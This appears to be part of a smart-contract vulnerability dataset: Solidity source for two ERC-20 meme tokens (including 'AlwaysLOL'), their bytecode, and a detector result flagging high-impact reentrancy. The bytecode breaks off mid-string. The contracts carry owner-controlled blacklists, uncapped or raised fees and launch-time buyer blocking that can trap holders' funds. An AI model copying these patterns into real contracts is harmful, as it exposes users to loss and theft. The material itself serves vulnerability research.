currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054e578063dd62ed3e14610564578063ea1644d5146105aa578063f2fde38b146105ca57600080fd5b8063a9059cbb146104c9578063bfd79284146104e9578063c3c8cd8014610519578063c492f0461461052e57600080fd5b80638f9a55c0116100d15780638f9a55c01461044757806395d89b411461045d57806398a5c31514610489578063a2a957bb146104a957600080fd5b80637d1db4a5146103f35780638da5cb5b146104095780638f70ccf71461042757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038957806370a082311461039e578063715018a6146103be57806374010ece146103d357600080fd5b8063313ce5671461030d57806349bd5a5e146103295780636b999053146103495780636d8aa8f81461036957600080fd5b80631694505e116101ab5780631694505e1461027957806318160ddd146102b157806323b872dd146102d75780632fd689e3146102f757600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024957600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611a16565b6105ea565b005b34801561020a57600080fd5b5060408051808201909152601081526f29b0b4ba30b6b090283932b230ba37b960811b60208201525b6040516102409190611adb565b60405180910390f35b34801561025557600080fd5b50610269610264366004611b30565b610689565b6040519015158152602001610240565b34801561028557600080fd5b50601554610299906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102bd57600080fd5b50683635c9adc5dea000005b604051908152602001610240565b3480156102e357600080fd5b506102696102f2366004611b5c565b6106a0565b34801561030357600080fd5b506102c960195481565b34801561031957600080fd5b5060405160098152602001610240565b34801561033557600080fd5b50601654610299906001600160a01b031681565b34801561035557600080fd5b506101fc610364366004611b9d565b610709565b34801561037557600080fd5b506101fc610384366004611bca565b610754565b34801561039557600080fd5b506101fc61079c565b3480156103aa57600080fd5b506102c96103b9366004611b9d565b6107e7565b3480156103ca57600080fd5b506101fc610809565b3480156103df57600080fd5b506101fc6103ee366004611be5565b61087d565b3480156103ff57600080fd5b506102c960175481565b34801561041557600080fd5b506000546001600160a01b0316610299565b34801561043357600080fd5b506101fc610442366004611bca565b6108ac565b34801561045357600080fd5b506102c960185481565b34801561046957600080fd5b5060408051808201909152600381526205341560ec1b6020820152610233565b34801561049557600080fd5b506101fc6104a4366004611be5565b6108f8565b3480156104b557600080fd5b506101fc6104c4366004611bfe565b610927565b3480156104d557600080fd5b506102696104e4366004611b30565b610965565b3480156104f557600080fd5b50610269610504366004611b9d565b60116020526000908152604090205460ff1681565b34801561052557600080fd5b506101fc610972565b34801561053a57600080fd5b506101fc610549366004611c30565b6109c6565b34801561055a57600080fd5b506102c960085481565b34801561057057600080fd5b506102c961057f366004611cb4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b657600080fd5b506101fc6105c5366004611be5565b610a67565b3480156105d657600080fd5b506101fc6105e5366004611b9d565b610a96565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260040161061490611ced565b60405180910390fd5b60005b81518110156106855760016011600084848151811061064157610641611d22565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067d81611d4e565b915050610620565b5050565b6000610696338484610b80565b5060015b92915050565b60006106ad848484610ca4565b6106ff84336106fa85604051806060016040528060288152602001611e68602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611257565b610b80565b5060019392505050565b6000546001600160a01b031633146107335760405162461bcd60e51b815260040161061490611ced565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077e5760405162461bcd60e51b815260040161061490611ced565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d157506014546001600160a01b0316336001600160a01b0316145b6107da57600080fd5b476107e481611291565b50565b6001600160a01b03811660009081526002602052604081205461069a90611316565b6000546001600160a01b031633146108335760405162461bcd60e51b815260040161061490611ced565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a75760405162461bcd60e51b815260040161061490611ced565b601755565b6000546001600160a01b031633146108d65760405162461bcd60e51b815260040161061490611ced565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109225760405162461bcd60e51b815260040161061490611ced565b601955565b6000546001600160a01b031633146109515760405162461bcd60e51b815260040161061490611ced565b600993909355600b91909155600a55600c55565b6000610696338484610ca4565b6013546001600160a01b0316336001600160a01b031614806109a757506014546001600160a01b0316336001600160a01b0316145b6109b057600080fd5b60006109bb306107e7565b90506107e48161139a565b6000546001600160a01b031633146109f05760405162461bcd60e51b815260040161061490611ced565b60005b82811015610a61578160056000868685818110610a1257610a12611d22565b9050602002016020810190610a279190611b9d565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5981611d4e565b9150506109f3565b50505050565b6000546001600160a01b03163314610a915760405162461bcd60e51b815260040161061490611ced565b601855565b6000546001600160a01b03163314610ac05760405162461bcd60e51b815260040161061490611ced565b6001600160a01b038116610b255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610614565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038216610d6a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b60008111610dcc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610614565b6000546001600160a01b03848116911614801590610df857506000546001600160a01b03838116911614155b1561115057601654600160a01b900460ff16610e91576000546001600160a01b03848116911614610e915760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610614565b601754811115610ee35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610614565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2557506001600160a01b03821660009081526011602052604090205460ff16155b610f7d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610614565b6008544311158015610f9c57506016546001600160a01b038481169116145b8015610fb657506015546001600160a01b03838116911614155b8015610fcb57506001600160a01b0382163014155b15610ff4576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110795760185481611016846107e7565b6110209190611d69565b106110795760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610614565b6000611084306107e7565b60195460175491925082101590821061109d5760175491505b8080156110b45750601654600160a81b900460ff16155b80156110ce57506016546001600160a01b03868116911614155b80156110e35750601654600160b01b900460ff165b801561110857506001600160a01b03851660009081526005602052604090205460ff16155b801561112d57506001600160a01b03841660009081526005602052604090205460ff16155b1561114d5761113b8261139a565b47801561114b5761114b47611291565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119257506001600160a01b03831660009081526005602052604090205460ff165b806111c457506016546001600160a01b038581169116148015906111c457506016546001600160a01b03848116911614155b156111d15750600061124b565b6016546001600160a01b0385811691161480156111fc57506015546001600160a01b03848116911614155b1561120e57600954600d55600a54600e555b6016546001600160a01b03848116911614801561123957506015546001600160a01b03858116911614155b1561124b57600b54600d55600c54600e555b610a6184848484611523565b6000818484111561127b5760405162461bcd60e51b81526004016106149190611adb565b5060006112888486611d81565b95945050505050565b6013546001600160a01b03166108fc6112ab836002611551565b6040518115909202916000818181858888f193505050501580156112d3573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112ee836002611551565b6040518115909202916000818181858888f19350505050158015610685573d6000803e3d6000fd5b600060065482111561137d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610614565b6000611387611593565b90506113938382611551565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113e2576113e2611d22565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561143657600080fd5b505afa15801561144a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146e9190611d98565b8160018151811061148157611481611d22565b6001600160a01b0392831660209182029290920101526015546114a79130911684610b80565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e0908590600090869030904290600401611db5565b600060405180830381600087803b1580156114fa57600080fd5b505af115801561150e573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611530576115306115b6565b61153b8484846115e4565b80610a6157610a61600f54600d55601054600e55565b600061139383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116db565b60008060006115a0611709565b90925090506115af8282611551565b9250505090565b600d541580156115c65750600e54155b156115cd57565b600d8054600f55600e805460105560009182905555565b6000806000806000806115f68761174b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162890876117a8565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165790866117ea565b6001600160a01b03891660009081526002602052604090205561167981611849565b6116838483611893565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116c891815260200190565b60405180910390a3505050505050505050565b600081836116fc5760405162461bcd60e51b81526004016106149190611adb565b5060006112888486611e26565b6006546000908190683635c9adc5dea000006117258282611551565b82101561174257505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117688a600d54600e546118b7565b9250925092506000611778611593565b9050600080600061178b8e87878761190c565b919e509c509a509598509396509194505050505091939550919395565b600061139383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611257565b6000806117f78385611d69565b9050838110156113935760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b6000611853611593565b90506000611861838361195c565b3060009081526002602052604090205490915061187e90826117ea565b30600090815260026020526040902055505050565b6006546118a090836117a8565b6006556007546118b090826117ea565b6007555050565b60008080806118d160646118cb898961195c565b90611551565b905060006118e460646118cb8a8961195c565b905060006118fc826118f68b866117a8565b906117a8565b9992985090965090945050505050565b600080808061191b888661195c565b90506000611929888761195c565b90506000611937888861195c565b90506000611949826118f686866117a8565b939b939a50919850919650505050505050565b60008261196b5750600061069a565b60006119778385611e48565b9050826119848583611e26565b146113935760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e457600080fd5b8035611a11816119f1565b919050565b60006020808385031215611a2957600080fd5b823567ffffffffffffffff80821115611a4157600080fd5b818501915085601f830112611a5557600080fd5b813581811115611a6757611a676119db565b8060051b604051601f19603f83011681018181108582111715611a8c57611a8c6119db565b604052918252848201925083810185019188831115611aaa57600080fd5b938501935b82851015611acf57611ac085611a06565b84529385019392850192611aaf565b98975050505050505050565b600060208083528351808285015260005b81811015611b0857858101830151858201604001528201611aec565b81811115611b1a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b4357600080fd5b8235611b4e816119f1565b946020939093013593505050565b600080600060608486031215611b7157600080fd5b8335611b7c816119f1565b92506020840135611b8c816119f1565b929592945050506040919091013590565b600060208284031215611baf57600080fd5b8135611393816119f1565b80358015158114611a1157600080fd5b600060208284031215611bdc57600080fd5b61139382611bba565b600060208284031215611bf757600080fd5b5035919050565b60008060008060808587031215611c1457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c4557600080fd5b833567ffffffffffffffff80821115611c5d57600080fd5b818601915086601f830112611c7157600080fd5b813581811115611c8057600080fd5b8760208260051b8501011115611c9557600080fd5b602092830195509350611cab9186019050611bba565b90509250925092565b60008060408385031215611cc757600080fd5b8235611cd2816119f1565b91506020830135611ce2816119f1565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d6257611d62611d38565b5060010190565b60008219821115611d7c57611d7c611d38565b500190565b600082821015611d9357611d93611d38565b500390565b600060208284031215611daa57600080fd5b8151611393816119f1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e055784516001600160a01b031683529383019391830191600101611de0565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e4357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e6257611e62611d38565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f0bd0da2a66f238e4bc19a46e76822b69ee726fbae6dcdba63d70be1edd388a64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,610
0xd9f04190d386283a07410d67ab81187caec5deeb
// AlwaysLOL ($AlwaysLOL) // Telegram: https://t.me/alwaysloltoken // Twitter: https://twitter.com/alwaysloltoken // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AlwaysLOLToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "AlwaysLOL"; string private constant _symbol = "AlwaysLOL \xF0\x9F\x98\x81"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 30; uint256 private _launchTime; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool isEnabled) external onlyOwner() { cooldownEnabled = isEnabled; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 1; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { if (block.timestamp < _launchTime + 10 minutes) { require(cooldown[to] < block.timestamp); require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if (contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "Liquidity already added"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _taxFee = 1; _teamFee = 20; _maxTxAmount = 3000000000 * 10**9; tradingOpen = true; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualSwap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
0x6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610383578063d543dbeb146103c0578063dd62ed3e146103e9578063ed99530714610426578063f42938901461043d5761011e565b806370a08231146102b0578063715018a6146102ed5780637b5b1157146103045780638da5cb5b1461032d57806395d89b41146103585761011e565b806323b872dd116100e757806323b872dd146101df578063313ce5671461021c57806351bc3c85146102475780635932ead11461025e5780636b999053146102875761011e565b8062b8cf2a1461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a60048036038101906101459190612b98565b610454565b005b34801561015857600080fd5b506101616105a4565b60405161016e919061305c565b60405180910390f35b34801561018357600080fd5b5061019e60048036038101906101999190612b5c565b6105e1565b6040516101ab9190613041565b60405180910390f35b3480156101c057600080fd5b506101c96105ff565b6040516101d6919061321e565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190612b0d565b610610565b6040516102139190613041565b60405180910390f35b34801561022857600080fd5b506102316106e9565b60405161023e9190613293565b60405180910390f35b34801561025357600080fd5b5061025c6106f2565b005b34801561026a57600080fd5b5061028560048036038101906102809190612bd9565b61076c565b005b34801561029357600080fd5b506102ae60048036038101906102a99190612a7f565b61081e565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190612a7f565b61090e565b6040516102e4919061321e565b60405180910390f35b3480156102f957600080fd5b5061030261095f565b005b34801561031057600080fd5b5061032b60048036038101906103269190612c2b565b610ab2565b005b34801561033957600080fd5b50610342610b94565b60405161034f9190612f73565b60405180910390f35b34801561036457600080fd5b5061036d610bbd565b60405161037a919061305c565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190612b5c565b610bfa565b6040516103b79190613041565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190612c2b565b610c18565b005b3480156103f557600080fd5b50610410600480360381019061040b9190612ad1565b610d61565b60405161041d919061321e565b60405180910390f35b34801561043257600080fd5b5061043b610de8565b005b34801561044957600080fd5b5061045261135b565b005b61045c6113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e09061317e565b60405180910390fd5b60005b81518110156105a0576001600a6000848481518110610534577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061059890613534565b9150506104ec565b5050565b60606040518060400160405280600981526020017f416c776179734c4f4c0000000000000000000000000000000000000000000000815250905090565b60006105f56105ee6113cd565b84846113d5565b6001905092915050565b6000683635c9adc5dea00000905090565b600061061d8484846115a0565b6106de846106296113cd565b6106d98560405180606001604052806028815260200161398060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f